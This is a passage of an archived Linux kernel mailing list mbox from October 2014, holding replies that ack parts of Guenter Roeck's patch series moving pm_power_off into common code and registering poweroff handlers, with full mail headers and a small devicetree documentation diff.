        h=mime-version:sender:in-reply-to:references:date:message-id:subject
         :from:to:cc:content-type;
        bh=SDL72kCKNF8JLpJHnz58hqvvIcY2NY0ZTjQBnQQwIEE=;
        b=GWmNef4MQuOAlLAVcHRnHoClxxSM/7VBvY+uDuK+H5MSOwd7yMNbFGD0A39Vma118o
         YvCzyUqLbxpfIcX7MMMuIyidvq6nTf6Hlf6WYA3MUOmcCTCsWrpzxaSJ43VOyUPPyZlC
         Hv52z8K6qsYRgkBwWcKAoSfitc2E5v0MuSpjOIUJHH/a5UXxNJ9A46Ipks0R4pF8X8gN
         jiNRFW7OYAN2Lbwnw+RJPQIPZ9tGleV2jrzC47d8d79WeCYOMCj5Ilowea5uqangg9se
         SauL3QtiAGIbr4psUZsz9beREWywAen0teLc+M7vROVyTtw2WZnfcugepTwTIZLnuwmb
         nL3A==
X-Received: by 10.152.115.229 with SMTP id jr5mr2425721lab.7.1412670592421;
 Tue, 07 Oct 2014 01:29:52 -0700 (PDT)
Original-Received: by 10.152.30.34 with HTTP; Tue, 7 Oct 2014 01:29:52 -0700 (PDT)
In-Reply-To: <1412659726-29957-5-git-send-email-linux@roeck-us.net>
X-Google-Sender-Auth: YVmk6G6Y_arslkhUkh3UeU79PuU
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:6255 gmane.linux.kernel:1802527 gmane.linux.drivers.devicetree:93081 gmane.linux.kernel.virtualization.lguest:1489 gmane.linux.acpi.devel:71303 gmane.linux.ports.alpha:2474 gmane.linux.kernel.efi:4758 gmane.linux.ports.hexagon:821 gmane.linux.ports.ppc64.devel:105907 gmane.linux.ports.tegra:19503 gmane.linux.kernel.openipmi:2480 gmane.linux.uml.devel:14693 gmane.linux.ports.arm.kernel:362386 gmane.linux.ports.ia64:24510 gmane.linux.kernel.metag:341 gmane.linux.ports.mips.general:44191 gmane.linux.ports.parisc:6116 gmane.linux.power-management.general:50648 gmane.linux.ports.sh.devel:39816
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/6255>

On Tue, Oct 7, 2014 at 7:28 AM, Guenter Roeck <linux@roeck-us.net> wrote:
> Replace mach_power_off with pm_power_off to simplify the subsequent
> move of pm_power_off to generic code.

Thanks!

> Cc: Geert Uytterhoeven <geert@linux-m68k.org>
> Cc: Greg Ungerer <gerg@uclinux.org>
> Cc: Joshua Thompson <funaho@jurai.org>
> Signed-off-by: Guenter Roeck <linux@roeck-us.net>

Looks OK, so since you said it builds ;-)

Acked-by: Geert Uytterhoeven <geert@linux-m68k.org>

Gr{oetje,eeting}s,

                        Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
                                -- Linus Torvalds

From - Thu Nov 08 21:10:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.drivers.driver-project.devel,gmane.linux.ports.mips.general,gmane.linux.kernel.efi,gmane.linux.ports.ia64,gmane.linux.kernel.virtualization.lguest,gmane.linux.ports.hexagon,gmane.linux.ports.sh.devel,gmane.linux.acpi.devel,gmane.linux.drivers.devicetree,gmane.linux.uml.devel,gmane.linux.power-management.general,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 08/44] kernel: Move pm_power_off to common code
Date: Tue, 7 Oct 2014 10:32:44 +0200
Lines: 21
Approved: news@gmane.org
Message-ID: <CAMuHMdXQfYqhHnVKLHZvTyqE8Ke7jWEu7LKLR9ZfVQaO8mNtBw@mail.gmail.com>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
 <1412659726-29957-9-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1412670789 26970 80.91.229.3 (7 Oct 2014 08:33:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 08:33:09 +0000 (UTC)
Cc: linux-m32r-ja@ml.linux-m32r.org,
 Linux MIPS Mailing List <linux-mips@linux-mips.org>, linux-efi@vger.kernel.org,
 "linux-ia64@vger.kernel.org" <linux-ia64@vger.kernel.org>,
 Steven Miao <realmz6@gmail.com>,
 "linux-xtensa@linux-xtensa.org" <linux-xtensa@linux-xtensa.org>,
 Boris Ostrovsky <boris.ostrovsky@oracle.com>,
 Catalin Marinas <catalin.marinas@arm.com>, Will Deacon <will.deacon@arm.com>,
 David Howells <dhowells@redhat.com>, Max Filippov <jcmvbkbc@gmail.com>,
 Paul Mackerras <paulus@samba.org>, Ralf Baechle <ralf@linux-mips.org>,
 Pavel Machek <pavel@ucw.cz>, "H. Peter Anvin" <hpa@zytor.com>,
 Guan Xuetao <gxt@mprc.pku.edu.cn>, Thomas Gleixner <tglx@linutronix.de>,
 Lennox Wu <lennox.wu@gmail.com>, Hans-Christian Egtvedt <egtvedt@samfundet.no>,
 driverdevel <devel@driverdev.osuosl.org>,
 linux-s390 <linux-s390@vger.kernel.org>,
 Jesper Nilsson <jesper.nilsson@axis.com>, lgue
To: Guenter Roeck <linux@roeck-us.net>
Original-X-From: driverdev-devel-bounces@linuxdriverproject.org Tue Oct 07 10:32:54 2014
Return-path: <driverdev-devel-bounces@linuxdriverproject.org>
Envelope-to: glddd-devel@m.gmane.org
Original-Received: from whitealder.osuosl.org ([140.211.166.138])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <driverdev-devel-bounces@linuxdriverproject.org>)
	id 1XbQCT-0000qn-Ni
	for glddd-devel@m.gmane.org; Tue, 07 Oct 2014 10:32:54 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by whitealder.osuosl.org (Postfix) with ESMTP id 534D3921F6;
	Tue,  7 Oct 2014 08:32:52 +0000 (UTC)
X-Virus-Scanned: amavisd-new at osuosl.org
Original-Received: from whitealder.osuosl.org ([127.0.0.1])
	by localhost (.osuosl.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id sWE5bOfbZpxc; Tue,  7 Oct 2014 08:32:49 +0000 (UTC)
Original-Received: from ash.osuosl.org (ash.osuosl.org [140.211.166.34])
	by whitealder.osuosl.org (Postfix) with ESMTP id 5BF8B92178;
	Tue,  7 Oct 2014 08:32:49 +0000 (UTC)
X-Original-To: devel@linuxdriverproject.org
Delivered-To: driverdev-devel@osuosl.org
Original-Received: from silver.osuosl.org (silver.osuosl.org [140.211.166.136])
 by ash.osuosl.org (Postfix) with ESMTP id E89DC1C2178
 for <devel@linuxdriverproject.org>; Tue,  7 Oct 2014 08:32:47 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
 by silver.osuosl.org (Postfix) with ESMTP id DF01F3378C
 for <devel@linuxdriverproject.org>; Tue,  7 Oct 2014 08:32:47 +0000 (UTC)
X-Virus-Scanned: amavisd-new at osuosl.org
Original-Received: from silver.osuosl.org ([127.0.0.1])
 by localhost (.osuosl.org [127.0.0.1]) (amavisd-new, port 10024)
 with ESMTP id dONhGNa7TWfF for <devel@linuxdriverproject.org>;
 Tue,  7 Oct 2014 08:32:47 +0000 (UTC)
X-Greylist: domain auto-whitelisted by SQLgrey-1.7.6
Original-Received: from mail-lb0-f173.google.com (mail-lb0-f173.google.com
 [209.85.217.173])
 by silver.osuosl.org (Postfix) with ESMTPS id B4EEC3308C
 for <devel@driverdev.osuosl.org>; Tue,  7 Oct 2014 08:32:46 +0000 (UTC)
Original-Received: by mail-lb0-f173.google.com with SMTP id 10so5701883lbg.18
 for <devel@driverdev.osuosl.org>; Tue, 07 Oct 2014 01:32:45 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113;
 h=mime-version:sender:in-reply-to:references:date:message-id:subject
 :from:to:cc:content-type;
 bh=Mg5d5qP7jH6SVcgYlxpwYggn5Iy+dnN1aWDSQMc8AgE=;
 b=AD0sqFZjKt2wPsJyaRpIYvKcdC/wefVhLMer72TSHgg3bAzFrYtJwQ0iiMH6ovvyrB
 wTqlMxwtXAU3wU6WiB9kNgeLg7SlSMG3/cYF+aiURsk504qw6VCXrlfOFxUAwo7q0ch9
 f2egpi2iVutLYIa/8GhakkeQUxr1/xv/5wds+58MSpuQSydbFYLF7yL+k5RRFjwK1/J/
 YuJHfMsQi1LUjtkEKwuVZkDHmi9OgATHnhhgQHMfBabO4Tk+m6RJ8YPv0y0+PSG+rDkI
 u2vl77wubLAqquVplhvYuDb1W+lncRS21RZuNOntv2wh7C+fNCeg7YI2ZvBSgmONrZpf
 nN+Q==
X-Received: by 10.112.142.104 with SMTP id rv8mr2231170lbb.59.1412670764837;
 Tue, 07 Oct 2014 01:32:44 -0700 (PDT)
Original-Received: by 10.152.30.34 with HTTP; Tue, 7 Oct 2014 01:32:44 -0700 (PDT)
In-Reply-To: <1412659726-29957-9-git-send-email-linux@roeck-us.net>
X-Google-Sender-Auth: t1uDeYcNgUgiBYL2fRgSRtusDG8
X-BeenThere: driverdev-devel@linuxdriverproject.org
X-Mailman-Version: 2.1.18-1
Precedence: list
List-Id: Linux Driver Project Developer List
 <driverdev-devel.linuxdriverproject.org>
List-Unsubscribe: <http://driverdev.linuxdriverproject.org/mailman/options/driverdev-devel>, 
 <mailto:driverdev-devel-request@linuxdriverproject.org?subject=unsubscribe>
List-Archive: <http://driverdev.linuxdriverproject.org/pipermail/driverdev-devel/>
List-Post: <mailto:driverdev-devel@linuxdriverproject.org>
List-Help: <mailto:driverdev-devel-request@linuxdriverproject.org?subject=help>
List-Subscribe: <http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel>, 
 <mailto:driverdev-devel-request@linuxdriverproject.org?subject=subscribe>
Errors-To: driverdev-devel-bounces@linuxdriverproject.org
Original-Sender: "devel" <driverdev-devel-bounces@linuxdriverproject.org>
Xref: news.gmane.org gmane.linux.drivers.driver-project.devel:58553 gmane.linux.ports.mips.general:44192 gmane.linux.kernel.efi:4759 gmane.linux.ports.ia64:24511 gmane.linux.kernel.virtualization.lguest:1490 gmane.linux.ports.hexagon:822 gmane.linux.ports.sh.devel:39817 gmane.linux.acpi.devel:71304 gmane.linux.drivers.devicetree:93082 gmane.linux.uml.devel:14694 gmane.linux.power-management.general:50649 gmane.linux.ports.tegra:19504 gmane.linux.kernel.openipmi:2481 gmane.linux.kernel.metag:342 gmane.linux.ports.arm.kernel:362387 gmane.linux.ports.parisc:6117 gmane.linux.kernel:1802528 gmane.linux.ports.alpha:2475 gmane.linux.ports.ppc64.devel:105908
Archived-At: <http://permalink.gmane.org/gmane.linux.drivers.driver-project.devel/58553>

On Tue, Oct 7, 2014 at 7:28 AM, Guenter Roeck <linux@roeck-us.net> wrote:
> pm_power_off is defined for all architectures. Move it to common code.
>
> Have all architectures call do_kernel_poweroff instead of pm_power_off.
> Some architectures point pm_power_off to machine_power_off. For those,
> call do_kernel_poweroff from machine_power_off instead.

>  arch/m68k/kernel/process.c         |  6 +-----

Acked-by: Geert Uytterhoeven <geert@linux-m68k.org>

Gr{oetje,eeting}s,

                        Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
                                -- Linus Torvalds

From - Thu Nov 08 21:10:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.virtualization.lguest,gmane.linux.acpi.devel,gmane.linux.ports.alpha,gmane.linux.kernel.efi,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.uml.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.ports.sh.devel
Subject: Re: [PATCH 35/44] m68k: Register with kernel poweroff handler
Date: Tue, 7 Oct 2014 11:19:36 +0200
Lines: 29
Approved: news@gmane.org
Message-ID: <CAMuHMdVZmsjK9FdK0T6mWwrnNc=Xc97B7ynm+QbWUMBCnvQB_g@mail.gmail.com>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
	<1412659726-29957-36-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1412673597 31439 80.91.229.3 (7 Oct 2014 09:19:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 09:19:57 +0000 (UTC)
Cc: "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	"adi-buildroot-devel@lists.sourceforge.net" 
	<adi-buildroot-devel@lists.sourceforge.net>,
	driverdevel <devel@driverdev.osuosl.org>,
	"devicetree@vger.kernel.org" <devicetree@vger.kernel.org>,
	lguest@lists.ozlabs.org,
	ACPI Devel Maling List <linux-acpi@vger.kernel.org>,
	alpha <linux-alpha@vger.kernel.org>,
	"moderated list:PANASONIC MN10300..." <linux-am33-list@redhat.com>,
	Cris <linux-cris-kernel@axis.com>, linux-efi@vger.kernel.org,
	"open list:QUALCOMM HEXAGON..." <linux-hexagon@vger.kernel.org>,
	linux-m32r-ja@ml.linux-m32r.org,
	"linuxppc-dev@lists.ozlabs.org" <linuxppc-dev@lists.ozlabs.org>,
	linux-s390 <linux-s390@vger.kernel.org>,
	linux-tegra@vger.kernel.org,
	"linux-xtensa@linux-xtensa.org" <linux-xtensa@linux-xtensa.org>,
	openipmi-developer@lists.sourceforge.net,
	uml-devel <user-mode-linux-devel@lists.s
To: Guenter Roeck <linux@roeck-us.net>
Original-X-From: linux-m68k-owner@vger.kernel.org Tue Oct 07 11:19:48 2014
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1XbQvr-0005k1-5z
	for glpm-linux-m68k@plane.gmane.org; Tue, 07 Oct 2014 11:19:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753607AbaJGJTo (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Tue, 7 Oct 2014 05:19:44 -0400
Original-Received: from mail-la0-f46.google.com ([209.85.215.46]:33185 "EHLO
	mail-la0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753592AbaJGJTi (ORCPT
	<rfc822;linux-m68k@lists.linux-m68k.org>);
	Tue, 7 Oct 2014 05:19:38 -0400
Original-Received: by mail-la0-f46.google.com with SMTP id gi9so5945699lab.19
        for <linux-m68k@lists.linux-m68k.org>; Tue, 07 Oct 2014 02:19:36 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:date:message-id:subject
         :from:to:cc:content-type;
        bh=3bI5zwPc81h9QH8a5IVnm+hmZu7byYq4VebIe/T6rTM=;
        b=a4/Y310k8Eq5hIttT3kqJDAxWLGNuUSbJiMHAOAxRxi6hm2EyhHkQgDQc0Hn+G/nWJ
         FHE7P4fD9RZqzNcLlZCEvS2Z93GSKUT2lYyKufbM1UAwvdpq1VaAczskBRD96n8rdBo3
         HEhsPAMi/uYdGKcrP+XYJj0Mz5Pz6dDZPSYCXllbj+ZsKf4qoBJnBrub4XbqfbeBVwdb
         zasBOEgdpcFPPQCIzDQjSzobOGtdKcJKtWfms9Smbc4/4yY5GEBey5kJIMtnudUg6JT4
         KBpNXu2yUb2O0plCGJnuzBMZUBkuFC6EGDO1owVZ9bGcNVijFTmN806jzaqyzswv0NKt
         xW4Q==
X-Received: by 10.152.21.226 with SMTP id y2mr2727896lae.34.1412673576323;
 Tue, 07 Oct 2014 02:19:36 -0700 (PDT)
Original-Received: by 10.152.30.34 with HTTP; Tue, 7 Oct 2014 02:19:36 -0700 (PDT)
In-Reply-To: <1412659726-29957-36-git-send-email-linux@roeck-us.net>
X-Google-Sender-Auth: H8CqPrWYHuzCKE6AZjzih_WrqS4
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:6256 gmane.linux.kernel:1802564 gmane.linux.drivers.devicetree:93093 gmane.linux.kernel.virtualization.lguest:1491 gmane.linux.acpi.devel:71306 gmane.linux.ports.alpha:2476 gmane.linux.kernel.efi:4760 gmane.linux.ports.hexagon:823 gmane.linux.ports.ppc64.devel:105909 gmane.linux.ports.tegra:19505 gmane.linux.kernel.openipmi:2482 gmane.linux.uml.devel:14696 gmane.linux.ports.arm.kernel:362411 gmane.linux.ports.ia64:24512 gmane.linux.kernel.metag:343 gmane.linux.ports.mips.general:44195 gmane.linux.ports.parisc:6118 gmane.linux.power-management.general:50651 gmane.linux.ports.sh.devel:39818
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/6256>

On Tue, Oct 7, 2014 at 7:28 AM, Guenter Roeck <linux@roeck-us.net> wrote:
> Register with kernel poweroff handler instead of setting pm_power_off
> directly.
>
> Cc: Geert Uytterhoeven <geert@linux-m68k.org>
> Cc: Joshua Thompson <funaho@jurai.org>
> Signed-off-by: Guenter Roeck <linux@roeck-us.net>

As someone already mentioned, having #defines instead of hardcoded
numbers for the priorities would be nice.

Apart from that:

Acked-by: Geert Uytterhoeven <geert@linux-m68k.org>

> +       register_poweroff_handler_simple(nf_poweroff, 128);

> +       register_poweroff_handler_simple(mac_poweroff, 128);

Gr{oetje,eeting}s,

                        Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
                                -- Linus Torvalds

From - Thu Nov 08 21:10:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mark Rutland <mark.rutland@arm.com>
Newsgroups: gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.virtualization.lguest,gmane.linux.acpi.devel,gmane.linux.ports.alpha,gmane.linux.kernel.efi,gmane.linux.ports.ppc64.devel,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.uml.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.m68k,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.ports.sh.devel
Subject: Re: [PATCH 05/44] mfd: as3722: Drop reference to pm_power_off from
 devicetree bindings
Date: Tue, 7 Oct 2014 11:59:41 +0100
Lines: 42
Approved: news@gmane.org
Message-ID: <20141007105941.GD24725@leverpostej>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
 <1412659726-29957-6-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1412679612 14363 80.91.229.3 (7 Oct 2014 11:00:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 11:00:12 +0000 (UTC)
Cc: "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	"adi-buildroot-devel@lists.sourceforge.net" 
	<adi-buildroot-devel@lists.sourceforge.net>,
	"devel@driverdev.osuosl.org" <devel@driverdev.osuosl.org>,
	"devicetree@vger.kernel.org" <devicetree@vger.kernel.org>,
	"lguest@lists.ozlabs.org" <lguest@lists.ozlabs.org>,
	"linux-acpi@vger.kernel.org" <linux-acpi@vger.kernel.org>,
	"linux-alpha@vger.kernel.org" <linux-alpha@vger.kernel.org>,
	"linux-am33-list@redhat.com" <linux-am33-list@redhat.com>,
	"linux-cris-kernel@axis.com" <linux-cris-kernel@axis.com>,
	"linux-efi@vger.kernel.org" <linux-efi@vger.kernel.org>,
	"linux-hexagon@vger.kernel.org" <linux-hexagon@vger.kernel.org>,
	"linux-m32r-ja@ml.linux-m32r.org" <linux-m32r-ja@ml.linux-m32r.org>,
	"linuxppc-dev@lists.ozlabs.org" <linuxppc-dev@lists.ozlabs.org>,
	"linux-s390@vger.kernel.org" <linux-s390@vger.kernel.org>,
	"lin
To: Guenter Roeck <linux@roeck-us.net>
Original-X-From: linux-hexagon-owner@vger.kernel.org Tue Oct 07 13:00:00 2014
Return-path: <linux-hexagon-owner@vger.kernel.org>
Envelope-to: glphk-linux-hexagon@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-hexagon-owner@vger.kernel.org>)
	id 1XbSUo-0002Dk-GG
	for glphk-linux-hexagon@plane.gmane.org; Tue, 07 Oct 2014 12:59:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753804AbaJGK7z (ORCPT <rfc822;glphk-linux-hexagon@m.gmane.org>);
	Tue, 7 Oct 2014 06:59:55 -0400
Original-Received: from cam-admin0.cambridge.arm.com ([217.140.96.50]:53156 "EHLO
	cam-admin0.cambridge.arm.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753796AbaJGK7v (ORCPT
	<rfc822;linux-hexagon@vger.kernel.org>);
	Tue, 7 Oct 2014 06:59:51 -0400
Original-Received: from leverpostej (leverpostej.cambridge.arm.com [10.1.205.151])
	by cam-admin0.cambridge.arm.com (8.12.6/8.12.6) with ESMTP id s97Axiwo018647;
	Tue, 7 Oct 2014 11:59:44 +0100 (BST)
Content-Disposition: inline
In-Reply-To: <1412659726-29957-6-git-send-email-linux@roeck-us.net>
Thread-Topic: [PATCH 05/44] mfd: as3722: Drop reference to pm_power_off from
 devicetree bindings
Accept-Language: en-GB, en-US
Content-Language: en-US
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-hexagon-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-hexagon.vger.kernel.org>
X-Mailing-List: linux-hexagon@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.hexagon:824 gmane.linux.kernel:1802638 gmane.linux.drivers.devicetree:93122 gmane.linux.kernel.virtualization.lguest:1492 gmane.linux.acpi.devel:71311 gmane.linux.ports.alpha:2477 gmane.linux.kernel.efi:4761 gmane.linux.ports.ppc64.devel:105930 gmane.linux.ports.tegra:19507 gmane.linux.kernel.openipmi:2483 gmane.linux.uml.devel:14697 gmane.linux.ports.arm.kernel:362428 gmane.linux.ports.ia64:24513 gmane.linux.ports.m68k:6257 gmane.linux.kernel.metag:344 gmane.linux.ports.mips.general:44197 gmane.linux.ports.parisc:6119 gmane.linux.power-management.general:50658 gmane.linux.ports.sh.devel:39823
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.hexagon/824>

On Tue, Oct 07, 2014 at 06:28:07AM +0100, Guenter Roeck wrote:
> Devicetree bindings are supposed to be operating system independent
> and should thus not describe how a specific functionality is implemented
> in Linux.
> 
> Cc: Rob Herring <robh+dt@kernel.org>
> Cc: Pawel Moll <pawel.moll@arm.com>
> Cc: Mark Rutland <mark.rutland@arm.com>
> Signed-off-by: Guenter Roeck <linux@roeck-us.net>
> ---
>  Documentation/devicetree/bindings/mfd/as3722.txt | 3 +--
>  1 file changed, 1 insertion(+), 2 deletions(-)

Thanks for the fix-up!

Acked-by: Mark Rutland <mark.rutland@arm.com>

Mark.

> 
> diff --git a/Documentation/devicetree/bindings/mfd/as3722.txt b/Documentation/devicetree/bindings/mfd/as3722.txt
> index 4f64b2a..0b2a609 100644
> --- a/Documentation/devicetree/bindings/mfd/as3722.txt
> +++ b/Documentation/devicetree/bindings/mfd/as3722.txt
> @@ -122,8 +122,7 @@ Following are properties of regulator subnode.
>  
>  Power-off:
>  =========
> -AS3722 supports the system power off by turning off all its rail. This
> -is provided through pm_power_off.
> +AS3722 supports the system power off by turning off all its rails.
>  The device node should have the following properties to enable this
>  functionality
>  ams,system-power-controller: Boolean, to enable the power off functionality
> -- 
> 1.9.1
> 
> --
> To unsubscribe from this list: send the line "unsubscribe devicetree" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
> 

From - Thu Nov 08 21:10:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mark Rutland <mark.rutland@arm.com>
Newsgroups: gmane.linux.acpi.devel,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.virtualization.lguest,gmane.linux.ports.alpha,gmane.linux.kernel.efi,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.uml.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.m68k,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.ports.sh.devel
Subject: Re: [PATCH 07/44] qnap-poweroff: Drop reference to pm_power_off from
 devicetree bindings
Date: Tue, 7 Oct 2014 12:02:19 +0100
Lines: 40
Approved: news@gmane.org
Message-ID: <20141007110219.GE24725@leverpostej>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
 <1412659726-29957-8-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1412679766 16156 80.91.229.3 (7 Oct 2014 11:02:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 11:02:46 +0000 (UTC)
Cc: "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	"adi-buildroot-devel@lists.sourceforge.net" 
	<adi-buildroot-devel@lists.sourceforge.net>,
	"devel@driverdev.osuosl.org" <devel@driverdev.osuosl.org>,
	"devicetree@vger.kernel.org" <devicetree@vger.kernel.org>,
	"lguest@lists.ozlabs.org" <lguest@lists.ozlabs.org>,
	"linux-acpi@vger.kernel.org" <linux-acpi@vger.kernel.org>,
	"linux-alpha@vger.kernel.org" <linux-alpha@vger.kernel.org>,
	"linux-am33-list@redhat.com" <linux-am33-list@redhat.com>,
	"linux-cris-kernel@axis.com" <linux-cris-kernel@axis.com>,
	"linux-efi@vger.kernel.org" <linux-efi@vger.kernel.org>,
	"linux-hexagon@vger.kernel.org" <linux-hexagon@vger.kernel.org>,
	"linux-m32r-ja@ml.linux-m32r.org" <linux-m32r-ja@ml.linux-m32r.org>,
	"linuxppc-dev@lists.ozlabs.org" <linuxppc-dev@lists.ozlabs.org>,
	"linux-s390@vger.kernel.org" <linux-s390@vger.kernel.org>,
	"lin
To: Guenter Roeck <linux@roeck-us.net>
Original-X-From: linux-acpi-owner@vger.kernel.org Tue Oct 07 13:02:36 2014
Return-path: <linux-acpi-owner@vger.kernel.org>
Envelope-to: glad-acpi-devel@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-acpi-owner@vger.kernel.org>)
	id 1XbSXM-0003ay-0X
	for glad-acpi-devel@plane.gmane.org; Tue, 07 Oct 2014 13:02:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753669AbaJGLCc (ORCPT <rfc822;glad-acpi-devel@m.gmane.org>);
	Tue, 7 Oct 2014 07:02:32 -0400
Original-Received: from cam-admin0.cambridge.arm.com ([217.140.96.50]:53263 "EHLO
	cam-admin0.cambridge.arm.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753633AbaJGLC3 (ORCPT
	<rfc822;linux-acpi@vger.kernel.org>); Tue, 7 Oct 2014 07:02:29 -0400
Original-Received: from leverpostej (leverpostej.cambridge.arm.com [10.1.205.151])
	by cam-admin0.cambridge.arm.com (8.12.6/8.12.6) with ESMTP id s97B2Nwo019071;
	Tue, 7 Oct 2014 12:02:23 +0100 (BST)
Content-Disposition: inline
In-Reply-To: <1412659726-29957-8-git-send-email-linux@roeck-us.net>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-acpi-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-acpi.vger.kernel.org>
X-Mailing-List: linux-acpi@vger.kernel.org
